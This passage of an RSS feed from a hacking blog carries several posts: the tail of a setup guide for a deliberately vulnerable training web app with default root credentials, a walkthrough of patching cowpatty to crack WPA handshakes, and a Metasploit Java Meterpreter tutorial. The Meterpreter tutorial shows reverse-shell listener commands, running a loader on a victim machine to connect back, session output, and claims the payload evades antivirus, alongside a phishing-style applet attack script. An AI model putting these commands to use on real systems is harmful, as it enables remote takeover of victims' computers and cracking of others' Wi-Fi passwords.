<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/22.jpg"><img class="aligncenter size-medium wp-image-1830" title="22" src="http://exploit.co.il/wp-content/uploads/2010/09/22-300x214.jpg" alt="" width="300" height="214" /></a></p>
<p style="text-align: left;">11. Go to wamp web root folder and open the config.php with wordpad or any other text editor</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/23.jpg"><img class="aligncenter size-medium wp-image-1831" title="23" src="http://exploit.co.il/wp-content/uploads/2010/09/23-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/24.jpg"><img class="aligncenter size-medium wp-image-1832" title="24" src="http://exploit.co.il/wp-content/uploads/2010/09/24-300x189.jpg" alt="" width="300" height="189" /></a></p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/25.jpg"><img class="aligncenter size-medium wp-image-1833" title="25" src="http://exploit.co.il/wp-content/uploads/2010/09/25-251x300.jpg" alt="" width="251" height="300" /></a></p>
<p style="text-align: left;">12. Edit this file with your mysql password (do the same to the &#8220;config.php which is located in the admin folder.)</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/26.jpg"><img class="aligncenter size-medium wp-image-1834" title="26" src="http://exploit.co.il/wp-content/uploads/2010/09/26-300x147.jpg" alt="" width="300" height="147" /></a></p>
<p style="text-align: left;">
<p style="text-align: left;">13. Click on the wamp icon on the tray bar and enable the &#8220;short open tag&#8221; option under</p>
<p style="text-align: left;">&#8220;PHP &#8211;&gt; PHP settings &#8220;</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/27.jpg"><img class="aligncenter size-medium wp-image-1835" title="27" src="http://exploit.co.il/wp-content/uploads/2010/09/27-300x227.jpg" alt="" width="300" height="227" /></a></p>
<p style="text-align: center;">
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/28.jpg"><img class="aligncenter size-medium wp-image-1836" title="28" src="http://exploit.co.il/wp-content/uploads/2010/09/28-159x300.jpg" alt="" width="159" height="300" /></a></p>
<p style="text-align: left;">14. Restart WAMP Services and browse to http://localhost, if everything is well you should see the vulnerable web site.</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/29.jpg"><img class="aligncenter size-medium wp-image-1837" title="29" src="http://exploit.co.il/wp-content/uploads/2010/09/29-300x214.jpg" alt="" width="300" height="214" /></a></p>
<p style="text-align: left;">
<p style="text-align: left;">15. One last tweak is for the FCKEditor</p>
<p style="text-align: left;">Browse to &#8220;C:\wamp\www\admin\editor\filemanager\connectors\php&#8221; and open the &#8220;config.php&#8221; in a text editor.</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/30.jpg"><img class="aligncenter size-medium wp-image-1838" title="30" src="http://exploit.co.il/wp-content/uploads/2010/09/30-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: left;">16. Change the &#8220;[UserFilesAbsoltePath]&#8221;  value to  &#8221;C:\\wamp\\www\\uploads\\&#8221;</p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/31.jpg"><img class="aligncenter size-medium wp-image-1839" title="31" src="http://exploit.co.il/wp-content/uploads/2010/09/31-300x185.jpg" alt="" width="300" height="185" /></a></p>
<p style="text-align: left;">EOF.</p>
<p></div></div>
<h3 class="toggle"><a href="#">VMware Image</a></h3><div class="toggle_content" style="display: none;"><div class="block"></p>
<p><span style="text-decoration: underline;">VMware Image Details:</span></p>
<p>The VMWare image was built in VMware Workstation 7.1.1 build-282343 and its based on UBUNTU server 10.04 32bit.</p>
<p>Network card is configured in Bridge Mode</p>
<p>IP Address: Assigned by DHCP</p>
<p><span style="text-decoration: underline;">Linux,MySQL and PhpMyAdmin Login details:</span></p>
<p>Username: root</p>
<p>Password: toor</p>
<p><span style="text-decoration: underline;">Web App Administration can be found at:</span></p>
<p>http://localhost/admin</p>
<p><span style="text-decoration: underline;">PhpMyAdmin can be found at:</span></p>
<p>http://localhost/phpmyadmin</p>
<p></div></div>
<h3 class="toggle"><a href="#">ScreenShots</a></h3><div class="toggle_content" style="display: none;"><div class="block"></p>
<p><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/Screenshot-exploit.co_.il-Articles-Tutorials-Reviews-Videos-Google-Chrome.png"><img class="aligncenter size-medium wp-image-1803" title="Screenshot-exploit.co.il : Articles : Tutorials : Reviews : Videos - Google Chrome" src="http://exploit.co.il/wp-content/uploads/2010/09/Screenshot-exploit.co_.il-Articles-Tutorials-Reviews-Videos-Google-Chrome-300x223.png" alt="" width="300" height="223" /></a></p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/Screenshot-exploit.co_.il-exploits-vulnerabilities-videos-papers-Google-Chrome.png"><img class="aligncenter size-medium wp-image-1805" title="Screenshot-exploit.co.il - exploits : vulnerabilities : videos : papers - Google Chrome" src="http://exploit.co.il/wp-content/uploads/2010/09/Screenshot-exploit.co_.il-exploits-vulnerabilities-videos-papers-Google-Chrome-300x185.png" alt="" width="300" height="185" /></a></p>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/09/Screenshot-exploit.co_.il-Articles-Tutorials-Reviews-Videos-Google-Chrome-1.png"><img class="aligncenter size-medium wp-image-1804" title="Screenshot-exploit.co.il : Articles : Tutorials : Reviews : Videos - Google Chrome-1" src="http://exploit.co.il/wp-content/uploads/2010/09/Screenshot-exploit.co_.il-Articles-Tutorials-Reviews-Videos-Google-Chrome-1-300x251.png" alt="" width="300" height="251" /></a></p>
<p></div></div>
<h3 class="toggle"><a href="#">Spoilers</a></h3><div class="toggle_content" style="display: none;"><div class="block"></p>
<p>Coming Soon&#8230;</p>
<p></div></div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 2173px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">
<p style="font-size: 10px; font-family: verdana; text-align: left;"><span style="text-decoration: underline;"><strong>VMware Image Details:</strong></span></p>
<p style="font-size: 10px; font-family: verdana; text-align: left;">The VMWare image was built in VMware Workstation 7.1.1 build-282343 and its based on UBUNTU server 10.04 32bit.</p>
<p style="font-size: 10px; font-family: verdana; text-align: left;">Network card is configured in Bridge Mode</p>
<p style="font-size: 10px; font-family: verdana; text-align: left;"><strong>IP Address:</strong> Assigned by DHCP</p>
<p style="font-size: 10px; font-family: verdana; text-align: left;">
<p style="font-size: 10px; font-family: verdana; text-align: left;"><span style="text-decoration: underline;"><strong>Linux,MySQL and PhpMyAdmin Login details: </strong></span></p>
<p style="font-size: 10px; font-family: verdana; text-align: left;">Username: root</p>
<p style="font-size: 10px; font-family: verdana; text-align: left;">Password: toor</p>
<p style="font-size: 10px; font-family: verdana; text-align: left;"><span style="text-decoration: underline;"><strong>Web App Administration can be found at:</strong></span></p>
<p style="font-size: 10px; font-family: verdana; text-align: left;">http://localhost/admin</p>
<p style="font-size: 10px; font-family: verdana; text-align: left;"><span style="text-decoration: underline;"><strong>PhpMyAdmin can be found at:</strong></span></p>
<p style="font-size: 10px; font-family: verdana; text-align: left;">http://localhost/phpmyadmin</p>
</div>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=Exploit+KB+Vulnerable+Web+App+http%3A%2F%2Fexploit.co.il%2F%3Fp%3D1749" title="Post to Twitter"><img class="nothumb" src="http://exploit.co.il/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter-micro4.png" alt="Post to Twitter" /></a></p></div><div class='wpfblike' style='height: 40px;'><fb:like href='http://exploit.co.il/hacking/exploit-kb-vulnerable-web-app/' layout='default' show_faces='false' width='400' action='like' colorscheme='light' send='false' /></div>]]></content:encoded>
			<wfw:commentRss>http://exploit.co.il/hacking/exploit-kb-vulnerable-web-app/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Patching and Compiling Cowpatty UBUNTU 10.04</title>
		<link>http://exploit.co.il/hacking/patching-cowpatty/</link>
		<comments>http://exploit.co.il/hacking/patching-cowpatty/#comments</comments>
		<pubDate>Sat, 28 Aug 2010 20:45:38 +0000</pubDate>
		<dc:creator>NightRanger</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[64bit]]></category>
		<category><![CDATA[capture]]></category>
		<category><![CDATA[cowpatty]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[cuda]]></category>
		<category><![CDATA[gpu]]></category>
		<category><![CDATA[handshake]]></category>
		<category><![CDATA[patch]]></category>
		<category><![CDATA[pyrit]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[wireless]]></category>
		<category><![CDATA[wpa]]></category>
		<category><![CDATA[wpa2]]></category>

		<guid isPermaLink="false">http://exploit.co.il/?p=1390</guid>
		<description><![CDATA[I was playing around with some wireless attack tools today, Mostly with cuda based tools such as pyrit. I wanted to check my new Core i7 PC and GPU cracking capabilities and speed on my UBUNTU 10.04 64bit OS. Pyrit supports WPA cracking with Cowpatty, At first i decided to do some benchmarking for different ...]]></description>
				<content:encoded><![CDATA[<p>I was playing around with some wireless attack tools today, Mostly with cuda based tools such as pyrit.</p>
<p>I wanted to check my new Core i7 PC and GPU cracking capabilities and speed on my UBUNTU 10.04 64bit OS.</p>
<p>Pyrit supports WPA cracking with Cowpatty, At first i decided to do some benchmarking for different tools with and without cuda.</p>
<p>I fired up airodump-ng, Captured my own router handshake and tried to crack it using cowpatty with a dictionary file.<br />
everytime i tried to crack it i got the following error:</p>
<p><span id="more-1390"></span></p>
<pre>root@BlackBox:/tmp/cowpatty#<strong>./cowpatty -f passwords.txt -r black.cap-01.cap -s Blackstar
cowpatty 4.6 - WPA-PSK dictionary attack.</strong>
End of pcap capture file, incomplete four-way handshake exchange. Try using a
different capture.</pre>
<p>At first i thought something went wrong with the handshake capture so i tried capturing it several time, but no luck with cowpatty, I checked the capture file using pyrit and wireshark just to make sure the handshake was captured correctly (although it did worked fine with aircrack-ng).</p>
<pre>root@BlackBox:/tmp/cowpatty#<strong> pyrit -r black.cap-01.cap analyze</strong>
Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+
Parsing file 'black.cap-01.cap' (1/1)...
297 packets (297 802.11-packets), 1 APs
#1: AccessPoint 00:23:69:c0:be:ce ('Blackstar')
#0: Station 00:23:76:ad:54:00, handshake found
#1: Station 01:00:5e:7f:ff:fa</pre>
<p style="text-align: center;"><a rel="lightbox[portfolio]" href="http://exploit.co.il/wp-content/uploads/2010/08/Screenshot.png"><img class="aligncenter size-large wp-image-1644" title="EAPOL" src="http://exploit.co.il/wp-content/uploads/2010/08/Screenshot-1024x86.png" alt="" width="1024" height="86" /></a></p>
<p>After some googling I found a patch to fix this cowpatty issue here: <a href="http://proton.cygnusx-1.org/~edgan/cowpatty/"><span style="color: #000080;">http://proton.cygnusx-1.org/~edgan/cowpatty/</span></a></p>
<p>Applying the patch is simple, Just follow these steps:</p>
<p>1.  Apply the patch</p>
<pre>root@BlackBox:/tmp/cowpatty#<strong>patch &lt; cowpatty-4.6-fixup16.patch</strong>
patching file cowpatty.c
patching file cowpatty.h</pre>
<p>2. Compile Cowpatty</p>
<pre>root@BlackBox:/tmp/cowpatty#<strong>make</strong>
cc -pipe -Wall -DOPENSSL  -O2 -g3 -ggdb   -c -o cowpatty.o cowpatty.c
cowpatty.c: In function ‘dictfile_attack’:
cowpatty.c:908: warning: format ‘%u’ expects type ‘unsigned int’, but argument 3 has type ‘size_t’
cowpatty.c: In function ‘main’:
cowpatty.c:1133: warning: dereferencing pointer ‘eapkeypacket’ does break strict-aliasing rules
cowpatty.c:1129: note: initialized from here
cc -pipe -Wall -DOPENSSL  -O2 -g3 -ggdb cowpatty.c -o cowpatty utils.o md5.o sha1.o -lpcap -lcrypto
cowpatty.c: In function ‘dictfile_attack’:
cowpatty.c:908: warning: format ‘%u’ expects type ‘unsigned int’, but argument 3 has type ‘size_t’
cowpatty.c: In function ‘main’:
cowpatty.c:1133: warning: dereferencing pointer ‘eapkeypacket’ does break strict-aliasing rules
cowpatty.c:1129: note: initialized from here
cc -pipe -Wall -DOPENSSL  -O2 -g3 -ggdb genpmk.c -o genpmk utils.o sha1.o -lpcap -lcrypto
genpmk.c: In function ‘main’:
genpmk.c:250: warning: format ‘%u’ expects type ‘unsigned int’, but argument 3 has type ‘size_t’</pre>
<pre>root@BlackBox:/tmp/cowpatty#<strong>make install</strong>
install -d /usr/local/bin
install -m 755 cowpatty genpmk /usr/local/bin</pre>
<p>3. Testing the compiled cowpatty binaries</p>
<pre>root@BlackBox:/tmp/cowpatty#<strong>./cowpatty -f passwords.txt -r black.cap-01.cap -s Blackstar
cowpatty 4.6 - WPA-PSK dictionary attack.</strong>
Collected all necessary data to mount crack against WPA2/PSK passphrase.
Starting dictionary attack.  Please be patient.
key no. 1000: achalasia
key no. 2000: admittable
key no. 3000: aglipayan
key no. 4000: allokurtic
key no. 5000: amphicytula
.....</pre>
<p>Works fine&#8230; <img src='http://exploit.co.il/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Get Cowpatty and the patch here:</p>
<div class="attachments"><dl class="attachments attachments-large"><dt class="icon"><a title="cowpatty-4.6-fixup16.patch.tar.gz" href="#"  OnClick="alert('Attachments restricted to register users only');"><img src="http://exploit.co.il/wp-content/plugins/eg-attachments/img/flags/gz.png" width="48" height="48" alt="cowpatty-4.6-fixup16.patch.tar.gz" /></a></dt><dd class="caption"><img class="lock" src="http://exploit.co.il/wp-content/plugins/eg-attachments/img/lock.png" height="16" width="16" alt="Document locked" /><strong>Title</strong> : <a title="cowpatty-4.6-fixup16.patch.tar.gz" href="#"  OnClick="alert('Attachments restricted to register users only');">cowpatty-4.6-fixup16.patch.tar.gz</a><br /><strong>Caption</strong> : <br /><strong>File name</strong> : cowpatty-4.6-fixup16.patch.tar.gz<br /><strong>Size</strong> : 3 kB</dd></dl><dl class="attachments attachments-large"><dt class="icon"><a title="cowpatty-4.6.tar.gz" href="#"  OnClick="alert('Attachments restricted to register users only');"><img src="http://exploit.co.il/wp-content/plugins/eg-attachments/img/flags/gz.png" width="48" height="48" alt="cowpatty-4.6.tar.gz" /></a></dt><dd class="caption"><img class="lock" src="http://exploit.co.il/wp-content/plugins/eg-attachments/img/lock.png" height="16" width="16" alt="Document locked" /><strong>Title</strong> : <a title="cowpatty-4.6.tar.gz" href="#"  OnClick="alert('Attachments restricted to register users only');">cowpatty-4.6.tar.gz</a><br /><strong>Caption</strong> : <br /><strong>File name</strong> : cowpatty-4.6.tar.gz<br /><strong>Size</strong> : 103 kB</dd></dl></div>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=Patching+and+Compiling+Cowpatty+UBUNTU+10.04+http%3A%2F%2Fexploit.co.il%2F%3Fp%3D1390" title="Post to Twitter"><img class="nothumb" src="http://exploit.co.il/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter-micro4.png" alt="Post to Twitter" /></a></p></div><div class='wpfblike' style='height: 40px;'><fb:like href='http://exploit.co.il/hacking/patching-cowpatty/' layout='default' show_faces='false' width='400' action='like' colorscheme='light' send='false' /></div>]]></content:encoded>
			<wfw:commentRss>http://exploit.co.il/hacking/patching-cowpatty/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Metasploit Java Meterpreter Payload</title>
		<link>http://exploit.co.il/hacking/metasploit-java-meterpreter-payload/</link>
		<comments>http://exploit.co.il/hacking/metasploit-java-meterpreter-payload/#comments</comments>
		<pubDate>Sun, 15 Aug 2010 05:29:05 +0000</pubDate>
		<dc:creator>NightRanger</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[applet]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[jar]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[meterpreter]]></category>
		<category><![CDATA[msf]]></category>
		<category><![CDATA[payload]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://exploit.co.il/?p=1298</guid>
		<description><![CDATA[If you haven&#8217;t noticed the Metasploit Framework has a JAVA meterpreter payload for some time now It supports all the commands supported by the PHP meterpreter, as of SVN revision 9777, and additionally the ipconfig, route, and screenshot commands. It is not fully implemented into the framework yet and in order to get it up and ...]]></description>
				<content:encoded><![CDATA[<p>If you haven&#8217;t noticed the Metasploit Framework has a JAVA meterpreter payload for some time now</p>
<p>It supports all the commands supported by the PHP meterpreter, as of SVN revision 9777, and  additionally the ipconfig, route, and screenshot commands.</p>
<p>It is not fully implemented into the framework yet and in order to get it up and running some manual tweaking is needed.</p>
<p>In this post I will show how to set it up and use it.</p>
<p>Further more,  I have recreated my &#8220;<a href="http://exploit.co.il/hacking/client-side-attack-using-evil-java-applets/" target="_blank"><span style="color: #000080;">Evil java applet wizard</span></a>&#8221; to automate the the process of getting it up and running.</p>
<p>The script now supports a <strong>full java attack</strong> which includes the client side applet attack and uses the meterpreter java payload instead a binary executable.</p>
<div class="info_box">Registered members can download the script at the end of this post (Script updated Aug 17) .</div>
<p>Why using a java meterpreter you ask ?</p>
<p>Well&#8230;you&#8217;ll see later&#8230;</p>
<p><span id="more-1298"></span></p>
<p><span style="text-decoration: underline;">Requirements:</span></p>
<p>JRE 1.2 on the victim machine is enough although some features, like routing tables or screenshots, require JRE 1.3, JRE 1.4 or JRE 1.6.</p>
<p>You can find the java meterpreter payload jar file in:</p>
<pre>"/pentest/exploits/framework3/data/java/loader.jar"</pre>
<p>You will also need the &#8220;JavaMeterpreter.zip&#8221; file which you can download from <a href="https://www.metasploit.com/redmine/attachments/397/JavaMeterpreter.zip" target="_blank"><span style="color: #000080;">HERE</span></a></p>
<p><strong><span style="color: #000080;">I have just noticed that manual tweaking is no longer necessary the Metasploit framework now has the java meterpreter listener built in.</span></strong></p>
<p><span style="color: #ff0000;"><strong><span style="color: #000080;">That means you can skip steps 1 to 4 </span></strong></span></p>
<p><span style="color: #ff0000;"><strong><span style="color: #000080;">and instead of using the patched php meterpreter you can use the java meterpreter directly.</span></strong></span></p>
<p><span style="color: #ff0000;"><strong><span style="color: #000080;">I have also updated the script to use the java payload as well.</span></strong></span></p>
<pre>| |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
|  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|

=[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 578 exploits - 297 auxiliary
+ -- --=[ 212 payloads - 27 encoders - 8 nops
=[ svn r10024 updated today (2010.08.17)

msf &gt; use exploit/multi/handler
msf exploit(handler) &gt; <strong><span style="color: #ff0000;">set PAYLOAD java/meterpreter/reverse_tcp</span></strong>
PAYLOAD =&gt; java/meterpreter/reverse_tcp
msf exploit(handler) &gt; show options

Module options:

Name  Current Setting  Required  Description
----  ---------------  --------  -----------

Payload options (java/meterpreter/reverse_tcp):

Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LHOST                   yes       The listen address
LPORT  4444             yes       The listen port

Exploit target:

Id  Name
--  ----
0   Wildcard Target

msf exploit(handler) &gt;</pre>
<p>Lets see how to set it up manually...</p>
<p>1. Download</p>
<pre>root@Blackbox:~# cd /tmp/
root@Blackbox:/tmp# wget https://www.metasploit.com/redmine/attachments/397/JavaMeterpreter.zip --no-check-certificate</pre>
<p>2. Unzip</p>
<pre>root@Blackbox:/tmp# unzip JavaMeterpreter.zip</pre>
<p>3. Copy necessary files</p>
<pre>root@Blackbox:/tmp# cd extensions/
root@Blackbox:/tmp/extensions# cp {ext_server_stdapi.jar,meterpreter.jar} /pentest/exploits/framework3/data/meterpreter</pre>
<p>4. Backup PHP Meterpreter files and Change jar files extensions to php (<strong><span style="color: #ff0000;">This will break PHP Meterpreter support</span></strong>)</p>
<pre>root@Blackbox:/tmp/extensions# cd /pentest/exploits/framework3/data/meterpreter

root@Blackbox:/pentest/exploits/framework3/data/meterpreter# mv meterpreter.php meterpreter.phpx

root@Blackbox:/pentest/exploits/framework3/data/meterpreter# mv ext_server_stdapi.php ext_server_stdapi.phpx

root@Blackbox:/pentest/exploits/framework3/data/meterpreter# mv meterpreter.jar meterpreter.php

root@Blackbox:/pentest/exploits/framework3/data/meterpreter# mv ext_server_stdapi.jar ext_server_stdapi.php</pre>
<p>5. Launch msfconsole and setup a multi/handler listener with a "php/meterpreter/reverse_tcp" payload.</p>
<pre>root@Blackbox:/pentest/exploits/framework3/data/meterpreter# cd ..
root@Blackbox:/pentest/exploits/framework3/data# cd ..
root@Blackbox:/pentest/exploits/framework3# ./msfconsole</pre>
<pre>__.                       .__.        .__. __.
_____   _____/  |______    ____________ |  |   ____ |__|/  |_
/     \_/ __ \   __\__  \  /  ___/\____ \|  |  /  _ \|  \   __\
|  Y Y  \  ___/|  |  / __ \_\___ \ |  |_&gt; &gt;  |_(  &lt;_&gt; )  ||  |
|__|_|  /\___  &gt;__| (____  /____  &gt;|   __/|____/\____/|__||__|
\/     \/          \/     \/ |__|

=[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 577 exploits - 295 auxiliary
+ -- --=[ 212 payloads - 27 encoders - 8 nops
=[ svn r9993 updated today (2010.08.13)

msf &gt; use exploit/multi/handler
smsf exploit(handler) &gt; set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD =&gt; php/meterpreter/reverse_tcp
msf exploit(handler) &gt; set LHOST 0.0.0.0
LHOST =&gt; 0.0.0.0
msf exploit(handler) &gt; set LPORT 4444
LPORT =&gt; 4444
msf exploit(handler) &gt; exploit

[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler...</pre>
<p>6. Copy (transfer) &#8220;/pentest/exploits/framework3/data/java/loader.jar&#8221; to victim pc and run it as follows</p>
<pre>C:\Documents and Settings\NightRanger&gt;java -jar loader.jar
Usage: java -jar loader.jar   []</pre>
<pre>C:\Documents and Settings\NightRanger&gt;java -jar loader.jar 192.168.1.104 4444</pre>
<p>7. Get your Meterpreter JAVA Shell&#8230;</p>
<pre>[*] Sending stage (21717 bytes) to 192.168.1.106
[*] Meterpreter session 1 opened (192.168.1.104:4444 -&gt; 192.168.1.106:1435) at Sat Aug 14 20:34:57 +0300 2010

meterpreter &gt; sysinfo
Computer: exploit
OS      : Windows XP 5.1 (x86)
meterpreter &gt; getuid
Server username: NightRanger
meterpreter &gt;</pre>
<p>P.S:</p>
<p>The java meterpreter will work for linux systems as well&#8230;.</p>
<pre>root@Blackbox:/pentest/exploits/framework3/data/java# java -jar loader.jar 192.168.1.104 4444</pre>
<pre>meterpreter &gt; exit

[*] Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) &gt; rexploit

[*] Started reverse handler on 0.0.0.0:4444
[*] Starting the payload handler...
[*] Sending stage (21717 bytes) to 192.168.1.104
[*] Meterpreter session 2 opened (192.168.1.104:4444 -&gt; 192.168.1.104:59806) at Sat Aug 14 20:47:40 +0300 2010

meterpreter &gt; sysinfo
Computer: Blackbox
OS      : Linux 2.6.34 (i386)
meterpreter &gt; getuid
Server username: root
meterpreter &gt;</pre>
<p>I have modified my &#8220;<a href="http://exploit.co.il/hacking/client-side-attack-using-evil-java-applets/" target="_blank"><span style="color: #000080;">Evil Java Applet Wizard</span></a>&#8221; script to use the JAVA Meterpreter  Payload instead of a binary executable.</p>
<p>The reasons for that are:</p>
<p>1. Antivirus software will not detect JAVA Meterpreter as a malicious file (as you can see in the demo video below).</p>
<p>2. It make sense to use the Java Meterpreter payload if you are already using athe JAVA Applet client side attack vector.</p>
<p>If it worked it means that the victim has Java installed on his system which allowes us to use this payload.</p>
<p>Demo:</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="640" height="360" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://vimeo.com/moogaloop.swf?clip_id=14145630&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=0&amp;show_portrait=0&amp;color=c9ff23&amp;fullscreen=1&amp;autoplay=0&amp;loop=0" /><embed type="application/x-shockwave-flash" width="640" height="360" src="http://vimeo.com/moogaloop.swf?clip_id=14145630&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=0&amp;show_portrait=0&amp;color=c9ff23&amp;fullscreen=1&amp;autoplay=0&amp;loop=0" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><a href="http://vimeo.com/14145630"><span style="color: #000080;">Metasploit JAVA Meterpreter</span></a><span style="color: #000080;"> </span>from <a href="http://vimeo.com/user3849446"><span style="color: #000080;">NightRanger</span></a><span style="color: #000080;"> </span>on<span style="color: #000080;"> </span><a href="http://vimeo.com"><span style="color: #000080;">Vimeo</span></a><span style="color: #000080;">.</span></p>
<p>Script requirements are:</p>
<pre>#!/usr/bin/python

'''
Created on Jul 4, 2010
Code Updated on Aug 17, 2010

@Author: NightRanger, http://exploit.co.il

This script designed and tested on BackTrack 4 final with metasploit v3.4.2-dev

Requirements:

JAVA JDK: Install using: "apt-get install sun-java6-jdk"
Meterpreter JAVA Payload (loader.jar) must exist in: "/pentest/exploits/framework3/data/java/loader.jar"

Script features:
----------------

- Generates java applet code on the fly
- Generates Keystore / Keystore Removal
- Compiles applet code
- Package and sings JAR file
- Web site cloning
- Generates applet html code
- Creates a meterpreter JAVA payload
- Starts apache web server
- Starts MSFConsole listener

* Java applet source code found in the wild, decompiled and tweaked.
* Website clone wget syntax taken from SET.
'''</pre>
<p>Download the script :</p>
<p>The script is designed for attacking windows operating systems</p>
<div class="attachments"><dl class="attachments attachments-large"><dt class="icon"><a title="jaw.tar.gz" href="#"  OnClick="alert('Attachments restricted to register users only');"><img src="http://exploit.co.il/wp-content/plugins/eg-attachments/img/flags/gz.png" width="48" height="48" alt="jaw.tar.gz" /></a></dt><dd class="caption"><img class="lock" src="http://exploit.co.il/wp-content/plugins/eg-attachments/img/lock.png" height="16" width="16" alt="Document locked" /><strong>Title</strong> : <a title="jaw.tar.gz" href="#"  OnClick="alert('Attachments restricted to register users only');">jaw.tar.gz</a><br /><strong>Caption</strong> : Java Applet Wizard<br /><strong>File name</strong> : jaw.tar.gz<br /><strong>Size</strong> : 4 kB</dd></dl></div>
<p>References:</p>
<p><a href="https://www.metasploit.com/redmine/issues/406"><span style="color: #000080;">https://www.metasploit.com/redmine/issues/406</span></a></p>
<p><a href="http://schierlm.users.sourceforge.net/JavaPayload/"><span style="color: #000080;">http://schierlm.users.sourceforge.net/JavaPayload/</span></a></p>
<p><a href="http://www.metasploit.com/modules/payload/java/meterpreter/reverse_tcp"><span style="color: #000080;">http://www.metasploit.com/modules/payload/java/meterpreter/reverse_tcp</span></a></p>
<p><a href="http://seclists.org/metasploit/2010/q3/134"><span style="color: #000080;">http://seclists.org/metasploit/2010/q3/134</span></a></p>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=Metasploit+Java+Meterpreter+Payload+http%3A%2F%2Fexploit.co.il%2F%3Fp%3D1298" title="Post to Twitter"><img class="nothumb" src="http://exploit.co.il/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter-micro4.png" alt="Post to Twitter" /></a></p></div><div class='wpfblike' style='height: 40px;'><fb:like href='http://exploit.co.il/hacking/metasploit-java-meterpreter-payload/' layout='default' show_faces='false' width='400' action='like' colorscheme='light' send='false' /></div>]]></content:encoded>
			<wfw:commentRss>http://exploit.co.il/hacking/metasploit-java-meterpreter-payload/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Digital Whisper Magazine issue 11</title>
		<link>http://exploit.co.il/hacking/digital-whisper-magazine-issue-11/</link>
		<comments>http://exploit.co.il/hacking/digital-whisper-magazine-issue-11/#comments</comments>
		<pubDate>Sat, 31 Jul 2010 19:04:07 +0000</pubDate>
		<dc:creator>NightRanger</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[article]]></category>
		<category><![CDATA[buffer]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[digital whisper]]></category>
		<category><![CDATA[fuzzing]]></category>
		<category><![CDATA[issue 11]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[olly]]></category>
		<category><![CDATA[whisperer]]></category>

		<guid isPermaLink="false">http://exploit.co.il/?p=1256</guid>
		<description><![CDATA[Wrote an article named : &#8220;Buffer Overflows 101&#8221;  which was published today on the Israeli  Security Magazine &#8220;Digital Whisper&#8221; issue 11. The article is in the Hebrew language and covers the basics of buffer overflows,fuzzing,olly basics,writing a metasploit modules and more&#8230; The article has a companion tar.gz file which includes the source code of the vulnerable server (Which was ...]]></description>
